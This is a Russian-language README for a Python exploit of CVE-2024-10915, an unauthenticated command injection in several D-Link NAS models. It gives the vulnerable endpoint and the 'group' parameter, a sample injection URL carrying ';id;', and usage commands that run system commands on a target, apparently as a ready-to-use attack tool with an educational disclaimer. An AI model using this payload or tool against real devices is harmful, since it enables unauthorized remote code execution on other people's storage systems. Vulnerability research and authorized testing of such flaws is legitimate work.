CVE-2024-10915 - Эксплуатация внедрения команд в D-Link NAS

Этот эксплойт на Python предназначен для уязвимости внедрения команд в нескольких продуктах D-Link NAS через конечную точку /cgi-bin/account_mgr.cgi?cmd=cgi_user_add. Уязвимость позволяет неаутентифицированным злоумышленникам выполнять произвольные системные команды на затронутом устройстве.

Описание

CVE-2024-10915 затрагивает несколько моделей D-Link NAS. Злоумышленник может внедрять команды через параметр group в команде cgi_user_add, что приводит к удаленному выполнению кода.

Затронутые продукты

• D-Link DNS-320

• D-Link DNS-320LW

• D-Link DNS-325

• D-Link DNS-340L

Уязвимая конечная точка: /cgi-bin/account_mgr.cgi?cmd=cgi_user_add

Пример:

http://192.168.1.100/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&group=';id;'

Требования

• Python 3.x

• requests library

Установите необходимые зависимости:

pip3 install requests

Использование

usage: dlink_nas_rce_cve_2024_10915.py [-h] [-u URL] [-c COMMAND] [-p PROXY] [-o OUTPUT] [-l]

Параметры:

Пример 1

python3 dlink_nas_rce_cve_2024_10915.py -u "http://TARGET_IP" -c "id" -p "http://127.0.0.1:8080" -o results.txt 

Пример 2

python3 dlink_nas_rce_cve_2024_10915.py -u "http://TARGET_IP" -c "uname" -p "http://127.0.0.1:8080" -o results.txt 

Пример 3

python3 dlink_nas_rce_cve_2024_10915.py -u "http://TARGET_IP" -c "ifconfig" -p "http://127.0.0.1:8080" -o results.txt 

⚠️ Отказ от ответственности

Этот проект предназначен только для образовательных целей и авторизованного тестирования. Не используйте этот инструмент в сетях или системах, на которые у вас нет явного разрешения. Авторы не несут ответственности за любое неправомерное использование или причиненный ущерб.

Официальные каналы

• YouTube @rootctf
• X @r0otk3r